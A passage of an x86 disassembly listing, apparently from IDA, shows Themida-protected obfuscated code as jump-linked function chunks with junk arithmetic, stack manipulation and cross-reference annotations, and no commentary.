esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_571A33 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56102D loc_5694CA: ; CODE XREF: sub_56102D+11309j cmp ecx, eax pushf jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_56102D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56637E loc_5694D2: ; CODE XREF: sub_56637E+405Fj sub eax, 7D24F26Eh sub ebx, 4D165E73h sub ebx, eax add ebx, 4D165E73h jmp loc_56737B ; END OF FUNCTION CHUNK FOR sub_56637E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_5694EA: ; CODE XREF: sub_561418+E931j add ecx, 332B3CCAh pop edx xor ecx, [esp+14h+var_14] jmp loc_56C89C ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- loc_5694F9: ; CODE XREF: Themida_:005626D1j push 767F5334h jmp loc_563D27 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B06D loc_569503: ; CODE XREF: sub_56B06D-7748j push 54F0h mov [esp+14h+var_14], ecx mov ecx, 6C435CB0h xor edi, ecx pop ecx and edi, 64496817h push eax push 30195160h pop eax add edi, 5FC62671h sub edi, eax sub edi, 5FC62671h pop eax sub ecx, edi pop edi pop ebx sub esp, 4 jmp loc_568E4D ; END OF FUNCTION CHUNK FOR sub_56B06D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F1DB loc_56953E: ; CODE XREF: sub_56F1DB+C6Dj pop ebp push ebx mov ebx, 64EF2F4Dh sub esi, ebx mov ebx, [esp+0] add esp, 4 add esi, 30373CD8h add esi, ebx jmp loc_564D11 ; END OF FUNCTION CHUNK FOR sub_56F1DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568646 loc_56955D: ; CODE XREF: sub_568646-7E62j inc cl add cl, 66h push eax jmp loc_57535B ; END OF FUNCTION CHUNK FOR sub_568646 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_569568: ; CODE XREF: sub_5678CB+BCADj pop edx add esp, 4 push esi jmp loc_574727 ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5604FE loc_569572: ; CODE XREF: sub_5604FE+F9BCj pop ecx pop [esp+8+var_8] pop esp jmp loc_573659 ; END OF FUNCTION CHUNK FOR sub_5604FE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FA44 loc_56957C: ; CODE XREF: sub_56FA44-2C9Dj add ecx, 48730547h jmp loc_57344A ; END OF FUNCTION CHUNK FOR sub_56FA44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_569587: ; CODE XREF: sub_56616D+E5DFj mov [esp-10h+arg_C], edx mov edx, 45610ACBh sub esp, 4 mov [esp-0Ch+arg_8], edx jmp loc_573D0E ; END OF FUNCTION CHUNK FOR sub_56616D ; =============== S U B R O U T I N E ======================================= sub_56959A proc near ; CODE XREF: sub_56306E+2E0Aj var_C = dword ptr -0Ch var_8 = dword ptr -8 ; FUNCTION CHUNK AT 00560D67 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0056913E SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056AAB6 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056C241 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056D39E SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00571703 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00572B7C SIZE 00000012 BYTES push ebx push edx mov edx, 695E1B4Bh mov ebx, 0DBD6597Ah sub ebx, 2C007A1Dh add ebx, edx push 7C86h jmp loc_560D67 sub_56959A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566AF9 loc_5695B8: ; CODE XREF: sub_566AF9+8AA8j xor edx, 50FE3E58h push eax jmp loc_564BA3 ; END OF FUNCTION CHUNK FOR sub_566AF9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561027 loc_5695C4: ; CODE XREF: sub_561027+9C94j add esp, 4 mov edx, [esp+8+var_8] jmp loc_560DF8 ; END OF FUNCTION CHUNK FOR sub_561027 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D69D loc_5695CF: ; CODE XREF: sub_56D69D+409Bj add eax, 64A422D4h add eax, edi push ecx push ebx jmp loc_563C11 ; END OF FUNCTION CHUNK FOR sub_56D69D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563FA2 loc_5695DD: ; CODE XREF: sub_563FA2+10E1Aj mov ecx, esp jmp loc_574846 ; END OF FUNCTION CHUNK FOR sub_563FA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_5695E4: ; CODE XREF: sub_564D26+D3F5j shl ebx, 7 jmp loc_56BD93 ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5604FE loc_5695EC: ; CODE XREF: sub_5604FE+DE2Dj add edi, ebp sub edi, 59D750FEh pop ebp push ecx mov ecx, 6E377CBFh add eax, ecx pop ecx add eax, edi sub eax, 6E377CBFh mov edi, [esp+0Ch+var_C] add esp, 4 add eax, 4 xchg eax, [esp+8+var_8] mov esp, [esp+8+var_8] push 3814h jmp loc_56FB48 ; END OF FUNCTION CHUNK FOR sub_5604FE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570B3C loc_569623: ; CODE XREF: sub_570B3C+1Ej xor ebx, 248B5AE4h add ebx, 4D82BDD1h add edi, ebx pop ebx add eax, edi jmp loc_5719D5 ; END OF FUNCTION CHUNK FOR sub_570B3C ; --------------------------------------------------------------------------- loc_569639: ; CODE XREF: Themida_:00571CD6j xor esi, 47D73E2Ch and esi, 656B6B01h sub esi, 2D4E0C79h sub esi, 29ED6F1Eh neg esi jmp loc_574206 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572141 loc_569658: ; CODE XREF: sub_572141-15C2j push eax mov eax, 535B290Ah jmp loc_56437F ; END OF FUNCTION CHUNK FOR sub_572141 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5653AD loc_569663: ; CODE XREF: sub_5653AD+13CFj mov ebx, esp add ebx, 4 jmp loc_56B7AE ; END OF FUNCTION CHUNK FOR sub_5653AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D359 loc_569670: ; CODE XREF: sub_56D359+74Bj push 2AF6h mov [esp+8+var_8], eax push 1501h mov [esp+0Ch+var_C], esp push edx push 4 pop edx jmp loc_5723B1 ; END OF FUNCTION CHUNK FOR sub_56D359 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FD6F loc_56968C: ; CODE XREF: sub_56FD6F-E80Ej pop [esp+4+var_4] jmp loc_562DD0 ; END OF FUNCTION CHUNK FOR sub_56FD6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_569694: ; CODE XREF: sub_564D26+7103j add ebp, eax pop eax xchg ebp, [esp+24h+var_24] pop esp push edx jmp loc_56FBB4 ; END OF FUNCTION CHUNK FOR sub_564D26 ; =============== S U B R O U T I N E ======================================= sub_5696A1 proc near ; CODE XREF: sub_56F1F0-D0F9j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005700B2 SIZE 0000001E BYTES sub esp, 4 mov [esp+4+var_4], esi jmp loc_5700B2 sub_5696A1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56BC97 loc_5696AF: ; CODE XREF: sub_56BC97+4j push eax mov eax, esp jmp loc_56894C ; END OF FUNCTION CHUNK FOR sub_56BC97 ; --------------------------------------------------------------------------- loc_5696B7: ; CODE XREF: Themida_:00562B68j pop edi sub eax, 2 push eax push dword ptr [esp+4] pop eax jmp loc_56CFDA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_5696C6: ; CODE XREF: sub_57354D-DB3j add esp, 4 not esi sub esp, 4 mov [esp+4+var_4], eax jmp loc_57040D ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56BD44 loc_5696D9: ; CODE XREF: sub_56BD44-770Ej pop esp push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] jmp loc_562C98 ; END OF FUNCTION CHUNK FOR sub_56BD44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5754DA loc_5696F0: ; CODE XREF: sub_5754DA-94F8j xor dh, 0FDh sub ch, dh push [esp+8+var_8] pop edx jmp loc_56D958 ; END OF FUNCTION CHUNK FOR sub_5754DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571289 loc_5696FE: ; CODE XREF: sub_571289-4A83j sub eax, 0B424228h sub eax, ebx add eax, 0B424228h push ecx mov ecx, 1E9A56D4h sub eax, ecx pop ecx push edx push eax mov eax, 6F931470h and eax, 4B694C3Fh jmp loc_56CD7A ; END OF FUNCTION CHUNK FOR sub_571289 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56BD44 loc_569724: ; CODE XREF: sub_56BD44+2741j add edi, ecx add edi, 7AD64362h jmp loc_562FD8 ; END OF FUNCTION CHUNK FOR sub_56BD44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574656 loc_569731: ; CODE XREF: sub_574656-E602j pop ebp mov esi, ebx pop ebx xor esi, edi push [esp+10h+var_10] mov edi, [esp+14h+var_14] jmp loc_56B21B ; END OF FUNCTION CHUNK FOR sub_574656 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56628B loc_569742: ; CODE XREF: sub_56628B-2AB2j shr edi, 6 jmp loc_57225D ; END OF FUNCTION CHUNK FOR sub_56628B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570B3C loc_56974A: ; CODE XREF: sub_570B3C-2C2Bj pop eax jmp loc_566CC9 ; END OF FUNCTION CHUNK FOR sub_570B3C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563819 loc_569750: ; CODE XREF: sub_563819-11EFj add edi, 4 add edi, 4 xchg edi, [esp-4+arg_0] pop esp jmp loc_570A0D ; END OF FUNCTION CHUNK FOR sub_563819 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5713A7 loc_569762: ; CODE XREF: sub_5713A7-476Dj mov edi, esp add edi, 4 add edi, 4 jmp loc_561DB1 ; END OF FUNCTION CHUNK FOR sub_5713A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5671E1 loc_569772: ; CODE XREF: sub_5671E1+CD23j pop esi xor edi, [esp+4+var_4] xor [esp+4+var_4], edi xor edi, [esp+4+var_4] mov esp, [esp+4+var_4] inc [esp-4+arg_0] pushf jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_5671E1 ; --------------------------------------------------------------------------- loc_569788: ; CODE XREF: Themida_:0056BA2Ej push eax mov eax, 4D490347h sub [esp+4], eax jmp loc_565BEC ; --------------------------------------------------------------------------- loc_569797: ; CODE XREF: Themida_:00569181j push dword ptr [esp] mov edx, [esp] jmp loc_57349F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563DCB loc_5697A2: ; CODE XREF: sub_563DCB+6712j sub eax, edi pop edi xor eax, [esp+0] xor [esp+0], eax xor eax, [esp+0] pop esp jmp loc_561187 ; END OF FUNCTION CHUNK FOR sub_563DCB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561027 loc_5697B4: ; CODE XREF: sub_561027+7241j xor ebp, 73B35074h push esi jmp loc_56C1A1 ; END OF FUNCTION CHUNK FOR sub_561027 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571C93 loc_5697C0: ; CODE XREF: sub_571C93-7D87j add ebx, eax jmp loc_56A1CA ; END OF FUNCTION CHUNK FOR sub_571C93 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5713A7 loc_5697C7: ; CODE XREF: sub_5713A7+CC9j pop ecx push edi mov edi, 31120EAAh sub edi, 3F06E9Fh add ebx, edi pop edi jmp loc_56A6D7 ; END OF FUNCTION CHUNK FOR sub_5713A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F782 loc_5697DC: ; CODE XREF: sub_56F782-27ADj pop ecx pop ebp sub ebp, 34810628h add ebp, ecx add ebp, 34810628h pop ecx jmp loc_561D33 ; END OF FUNCTION CHUNK FOR sub_56F782 ; =============== S U B R O U T I N E ======================================= sub_5697F2 proc near ; DATA XREF: Themida_:0055FD58o ; FUNCTION CHUNK AT 00571AE2 SIZE 00000005 BYTES push small word ptr [edx] jmp loc_571AE2 sub_5697F2 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D3AF loc_5697FA: ; CODE XREF: sub_56D3AF+427Dj pop esp jmp loc_575070 ; END OF FUNCTION CHUNK FOR sub_56D3AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571088 loc_569800: ; CODE XREF: sub_571088-180Bj shl edi, 3 jmp loc_56B19C ; END OF FUNCTION CHUNK FOR sub_571088 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574A21 loc_569808: ; CODE XREF: sub_574A21-641Ej or edx, edi jmp loc_5616F2 ; END OF FUNCTION CHUNK FOR sub_574A21 ; --------------------------------------------------------------------------- loc_56980F: ; CODE XREF: Themida_:00569B70j xor dword ptr [esp], 47941680h pop esi xor esi, 47941680h mov eax, [esp] add esp, 4 dec esi jmp loc_57290F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5673C3 loc_56982C: ; CODE XREF: sub_5673C3+4F42j mov esi, 476D0F55h add esi, 0B892F0AFh sub edi, esi pop esi jmp loc_56107E ; END OF FUNCTION CHUNK FOR sub_5673C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5687A3 loc_56983F: ; CODE XREF: sub_5687A3+1232j pop esp jmp loc_572CD0 ; END OF FUNCTION CHUNK FOR sub_5687A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E0B0 loc_569845: ; CODE XREF: sub_56E0B0-AB47j shr esi, 4 jmp loc_570DAF ; END OF FUNCTION CHUNK FOR sub_56E0B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56264C loc_56984D: ; CODE XREF: sub_56264C+128C5j mov esi, 7A9262E3h add eax, esi pop esi add eax, 3A4F20D0h jmp loc_561AEF ; END OF FUNCTION CHUNK FOR sub_56264C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_56985F: ; CODE XREF: sub_5678CB+6CD4j mov edx, [esp+8+var_A+2] jmp loc_572C0F ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563207 loc_569867: ; CODE XREF: sub_563207-106Fj add eax, 54EE7897h sub eax, 1A576B9Dh add eax, ebp add eax, 1A576B9Dh push edi mov edi, 54EE7897h sub eax, edi pop edi add eax, 6DED1F0Fh push [esp+0Ch+var_C] pop ebp push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_564344 ; END OF FUNCTION CHUNK FOR sub_563207 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5620B7 loc_56989A: ; CODE XREF: sub_5620B7+FC87j not edi xchg edi, ebx xchg eax, ebx jmp loc_561CBF ; END OF FUNCTION CHUNK FOR sub_5620B7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569DB5 loc_5698A4: ; CODE XREF: sub_569DB5+9676j not esi inc esi push edx push ebp mov ebp, 314657F9h mov edx, ebp pop ebp shr edx, 2 or edx, 71772900h sub edx, 45AE5E23h xor edx, 420000C7h push 43EFh mov [esp+0Ch+var_C], esi mov esi, 4BA50205h xor edx, esi pop esi sub edx, 5DD31CB3h or edx, 41D425F4h jmp loc_56B994 ; END OF FUNCTION CHUNK FOR sub_569DB5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571890 loc_5698E7: ; CODE XREF: sub_571890-251Cj not ecx add ecx, 4ECA747Bh sub ecx, 0BD658F5Ch mov ebx, ecx jmp loc_573A5B ; END OF FUNCTION CHUNK FOR sub_571890 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560844 loc_5698FC: ; CODE XREF: sub_560844+CFE4j mov [esp+4+var_4], ebx jmp loc_566DDB ; END OF FUNCTION CHUNK FOR sub_560844 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FA15 loc_569904: ; CODE XREF: sub_56FA15-555Dj add bl, 1Fh sub al, bl pop ebx push ecx mov cl, 0B0h push ebx mov bh, 20h not bh dec bh or bh, 0CFh not bh sub bh, 0F8h add cl, bh mov ebx, [esp+8+var_8] add esp, 4 add al, cl push [esp+4+var_4] pop ecx push edi jmp loc_56B9D0 ; END OF FUNCTION CHUNK FOR sub_56FA15 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569A84 loc_569930: ; CODE XREF: sub_569A84+Dj pop edi push 795Bh mov [esp+8+var_8], ebp jmp loc_56DF37 ; END OF FUNCTION CHUNK FOR sub_569A84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_56993E: ; CODE XREF: sub_564D26+D532j push 2C3Ch mov [esp+0Ch+var_C], edx jmp loc_565CF4 ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- loc_56994B: ; CODE XREF: Themida_:00562842j xor edi, 725047BEh add edi, 0AB7F5BD4h and ecx, edi pop edi not ecx inc ecx push edx mov edx, 2C9A0752h xor edx, 70497993h inc edx jmp loc_56B37F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572075 loc_56996F: ; CODE XREF: sub_572075-EBE2j xor ecx, 0B76D3DFFh jmp loc_568D4C ; END OF FUNCTION CHUNK FOR sub_572075 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56BD44 loc_56997A: ; CODE XREF: sub_56BD44-B2F1j pop esp mov ax, [esp+0] jmp loc_572518 ; END OF FUNCTION CHUNK FOR sub_56BD44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AB51 loc_569984: ; CODE XREF: sub_56AB51-6DB3j sub ecx, 0CC53BC1Dh add ecx, 1 dec ecx push edx mov edx, 94921F8h jmp loc_570801 ; END OF FUNCTION CHUNK FOR sub_56AB51 ; --------------------------------------------------------------------------- loc_56999C: ; CODE XREF: Themida_:005671CBj mov edi, 0F10B8EAh push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp jmp loc_56C266 ; --------------------------------------------------------------------------- loc_5699B9: ; CODE XREF: Themida_:00568915j push edi jmp loc_56D876 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5687A3 loc_5699BF: ; CODE XREF: sub_5687A3-B17j and eax, 17EB00DBh sub eax, 17C3007Fh add ebp, eax pop eax xor ebp, [esp+4+var_4] xor [esp+4+var_4], ebp xor ebp, [esp+4+var_4] jmp loc_56983F ; END OF FUNCTION CHUNK FOR sub_5687A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565A8D loc_5699DA: ; CODE XREF: sub_565A8D+8359j mov ecx, esp jmp loc_565D60 ; END OF FUNCTION CHUNK FOR sub_565A8D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5648C6 loc_5699E1: ; CODE XREF: sub_5648C6+72A0j mov esi, 69744FEFh sub esp, 4 mov [esp+8+var_8], ebp mov ebp, 5DF10F6Eh xor esi, ebp pop ebp jmp loc_56B8D8 ; END OF FUNCTION CHUNK FOR sub_5648C6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566400 loc_5699F9: ; CODE XREF: sub_566400+1j push 3AFFh mov [esp+4+var_4], ebp mov ebp, 275C712Fh add ebp, 0FFFFFFFFh dec ebp or ebp, 3AA449A1h and ebp, 58CC748Fh dec ebp jmp loc_564ECC ; END OF FUNCTION CHUNK FOR sub_566400 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5716F1 loc_569A1C: ; CODE XREF: sub_5716F1+Dj sub edi, 0F50BC158h mov ebx, edi pop edi mov edx, ebx jmp loc_56E15B ; END OF FUNCTION CHUNK FOR sub_5716F1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572E16 loc_569A2C: ; CODE XREF: sub_572E16-7EB8j add esp, 4 jmp sub_56D2D2 ; END OF FUNCTION CHUNK FOR sub_572E16 ; --------------------------------------------------------------------------- loc_569A37: ; DATA XREF: Themida_:0055FCDCo push 352Eh mov [esp], ecx jmp loc_573A0C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567D31 loc_569A44: ; CODE XREF: sub_567D31+CEBFj mov [esp+0], edx sub esp, 4 jmp loc_571974 ; END OF FUNCTION CHUNK FOR sub_567D31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D359 loc_569A52: ; CODE XREF: sub_56D359-8C7Aj pop ebp xor eax, [esp+8+var_8] xor [esp+8+var_8], eax jmp loc_569444 ; END OF FUNCTION CHUNK FOR sub_56D359 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563207 loc_569A5E: ; CODE XREF: sub_563207+71AFj mov eax, [esp+8+var_8] push esi mov esi, esp push ebx jmp loc_561BF0 ; END OF FUNCTION CHUNK FOR sub_563207 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AA2B loc_569A6A: ; CODE XREF: sub_56AA2B+62DDj or ecx, 739D0EAEh jmp loc_572CC4 ; END OF FUNCTION CHUNK FOR sub_56AA2B ; =============== S U B R O U T I N E ======================================= sub_569A75 proc near ; DATA XREF: Themida_:0055FDB8o var_6 = dword ptr -6 var_2 = word ptr -2 ; FUNCTION CHUNK AT 0056105E SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005610AD SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00561CAC SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005676FF SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056939A SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056C57E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056CC3F SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056DC20 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056FFB0 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 005719B6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00571B76 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00571CE3 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00572D5A SIZE 0000000C BYTES lodsb push small 48BDh mov [esp+0], bx push ecx jmp loc_56DC20 sub_569A75 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_569A84 proc near ; DATA XREF: Themida_:0055FEF8o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = word ptr 4 ; FUNCTION CHUNK AT 00563842 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00564C44 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00564EE9 SIZE 00000042 BYTES ; FUNCTION CHUNK AT 00568ACD SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00569930 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056A298 SIZE 0000002B BYTES ; FUNCTION CHUNK AT 0056A87C SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0056BD80 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056DF37 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00570CDE SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00570F25 SIZE 00000036 BYTES ; FUNCTION CHUNK AT 005711B7 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00572479 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00572F21 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0057336F SIZE 0000002C BYTES ; FUNCTION CHUNK AT 005736BF SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00573DF7 SIZE 00000027 BYTES mov ax, [esp+0] push 50A3h mov [esp+4+var_4], edi push esp jmp loc_569930 sub_569A84 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5690E8 loc_569A96: ; CODE XREF: sub_5690E8+A789j xor ecx, eax mov eax, [esp+0Ch+var_C] add esp, 4 jmp loc_56F76D ; END OF FUNCTION CHUNK FOR sub_5690E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574CBE loc_569AA3: ; CODE XREF: sub_574CBE-7DC6j add esp, 4 sub eax, esi pop esi sub eax, 7831597Dh jmp loc_56A929 ; END OF FUNCTION CHUNK FOR sub_574CBE ; =============== S U B R O U T I N E ======================================= sub_569AB3 proc near ; CODE XREF: sub_561979+E1C5j var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00560043 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005621FD SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005639A2 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 00566873 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00566D7E SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00567995 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00568B35 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0056AE6B SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0056B708 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0056DF77 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056F333 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056F591 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00570E51 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005746E1 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005749EE SIZE 0000000F BYTES push ebp mov ebp, 5424613Eh jmp loc_568B35 sub_569AB3 endp ; --------------------------------------------------------------------------- loc_569ABE: ; CODE XREF: Themida_:005753A0j pop esp sub ebx, 23586796h sub ebx, eax add ebx, 23586796h sub esp, 4 jmp loc_565411 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D3B7 loc_569AD5: ; CODE XREF: sub_56D3B7-9BE9j xchg esi, [esp+14h+var_14] jmp loc_565CCA ; END OF FUNCTION CHUNK FOR sub_56D3B7 ; --------------------------------------------------------------------------- loc_569ADD: ; CODE XREF: Themida_:0057379Dj add ebx, eax pop eax push dword ptr [esp] pop edi add esp, 4 push 54D7h mov [esp], ebx push dword ptr [esp+4] mov ebx, [esp] jmp loc_561173 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574287 loc_569AFE: ; CODE XREF: sub_574287-E28Aj pop edx mov esi, [esp+4+var_4] jmp loc_575271 ; END OF FUNCTION CHUNK FOR sub_574287 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5680FB loc_569B07: ; CODE XREF: sub_5680FB+3E51j push 157Eh mov [esp+14h+var_14], ebx jmp loc_565A7A ; END OF FUNCTION CHUNK FOR sub_5680FB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570732 loc_569B14: ; CODE XREF: sub_570732-3139j push 604C52ABh pop eax xor eax, ebp jmp loc_568853 ; END OF FUNCTION CHUNK FOR sub_570732 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56102D loc_569B21: ; CODE XREF: sub_56102D+8DA0j mov ebx, 73B8274Fh sub ecx, ebx pop ebx push [esp-4+arg_0] push dword ptr [esp+0] pop edi push 63A3h mov [esp+4+var_4], ebp mov ebp, esp push esi mov esi, 0B303477h sub esi, 0B303473h add ebp, esi jmp loc_573BDD ; END OF FUNCTION CHUNK FOR sub_56102D ; --------------------------------------------------------------------------- loc_569B4D: ; CODE XREF: Themida_:0056CBF6j mov [esp], edi push 5D787509h pop edi push 154Dh mov [esp], esi push eax push 7C2Ah mov [esp], edx mov edx, 11187092h mov eax, edx pop edx push eax jmp loc_56980F ; =============== S U B R O U T I N E ======================================= sub_569B75 proc near ; CODE XREF: sub_570CE4-B991j var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0056054F SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00560C36 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0056119E SIZE 00000028 BYTES ; FUNCTION CHUNK AT 00563973 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005673FB SIZE 0000002B BYTES ; FUNCTION CHUNK AT 00569EA6 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056B67E SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056D13E SIZE 00000010 BYTES ; FUNCTION CHUNK AT 